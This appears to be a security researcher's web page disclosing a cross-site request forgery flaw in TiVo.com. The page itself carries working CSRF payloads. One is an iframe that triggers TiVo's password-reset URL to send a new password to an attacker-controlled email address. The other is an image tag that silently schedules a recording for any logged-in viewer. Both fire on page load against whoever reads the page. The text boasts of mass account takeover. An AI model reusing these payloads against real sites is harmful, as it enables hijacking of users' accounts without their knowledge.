Any Viewer of this site that is logged into Tivo.com could easily have their email login name reset to the attackers' email account <p>(we didn't do this so that we don't steal your account). </p><p> In our case we will pretend that we reset it to tivo3@securescience.net</p><p>

The next step which is demonstrated below will reset the existing password and send it to tivo3@securescience.net

</p><p>
<iframe src="https://www3.tivo.com/tivo-mma/password/sendlost.do?cams_cb_username=tivo3%40securescience.net" style="width:90%; height:400px; border:1px solid #666;">
[Sent new password to Attacker Email Account]
&lt;/p&gt;
We can easily collect and change passwords to these accounts automagically all through CSRF method to conduct a massive Tivo.com takeover.
&lt;p&gt;
Oh and we took the liberty of adding the next episode of 24 to be recorded if you're logged into mobile tivo.
&lt;img src="http://m.tivo.com/record/one_click/tivo:of.ctd.812...2009-03-31-04-00-00.3600/5"&gt;
&lt;/p&gt;</iframe></p>